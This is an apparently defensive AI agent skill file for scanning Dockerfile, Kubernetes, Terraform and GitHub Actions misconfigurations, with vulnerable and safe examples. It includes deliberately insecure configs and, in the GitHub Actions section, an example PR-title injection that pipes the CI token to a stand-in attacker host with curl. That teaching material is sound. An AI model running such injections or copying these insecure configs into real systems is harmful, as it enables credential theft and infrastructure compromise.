Sc iac

From ersinkoc/security-check · View interactive version

Sc iac is an AI agent skill from the GitHub repository ersinkoc/security-check. Infrastructure-as-Code security scanning — Dockerfile, Kubernetes, Terraform, and GitHub Actions misconfigurations

How to use this skill

Skill file

SC: Infrastructure-as-Code Security

Purpose

Scans Infrastructure-as-Code files for security misconfigurations including Dockerfile anti-patterns, Kubernetes privilege escalation, Terraform resource exposure, and GitHub Actions injection vulnerabilities. Covers the full deployment pipeline from build to runtime.

Activation

Called by sc-orchestrator during Phase 2 when IaC files are detected (Dockerfile, *.tf, k8s manifests, workflow files).

Phase 1: Discovery

File Patterns

**/Dockerfile*, **/docker-compose*, **/*.tf, **/*.tfvars,
**/k8s/*, **/kubernetes/*, **/helm/*, **/*.yaml, **/*.yml,
**/.github/workflows/*, **/.gitlab-ci.yml, **/Jenkinsfile

Dockerfile Checks

# VULNERABLE: Running as root
FROM node:18
COPY . /app
CMD ["node", "app.js"]  # Runs as root!

# SAFE: Non-root user
FROM node:18
RUN addgroup --system app && adduser --system --ingroup app app
COPY --chown=app:app . /app
USER app
CMD ["node", "app.js"]

Kubernetes Checks

# VULNERABLE: Privileged container
spec:
  containers:
  - name: app
    securityContext:
      privileged: true       # Full host access!
      runAsRoot: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /                # Mounting host filesystem!

Terraform Checks

# VULNERABLE: Public S3 bucket
resource "aws_s3_bucket" "data" {
  bucket = "my-data-bucket"
  acl    = "public-read"  # Publicly accessible!
}

# VULNERABLE: Overly permissive IAM
resource "aws_iam_policy" "admin" {
  policy = jsonencode({
    Statement = [{
      Effect   = "Allow"
      Action   = "*"        # Full admin access!
      Resource = "*"
    }]
  })
}

GitHub Actions Checks

# VULNERABLE: Script injection via PR title
- run: echo "PR: ${{ github.event.pull_request.title }}"
  # Attacker PR title: $(curl attacker.com/steal?token=$GITHUB_TOKEN)

# SAFE: Use environment variable
- run: echo "PR: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

Severity Classification

Output Format

Finding: IAC-{NNN}

Common False Positives

  1. Development docker-compose — running as root in local dev environment
  2. CI-only Dockerfiles — build containers with elevated privileges for CI tasks
  3. Terraform plan output — resource definitions that are overridden by variables
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.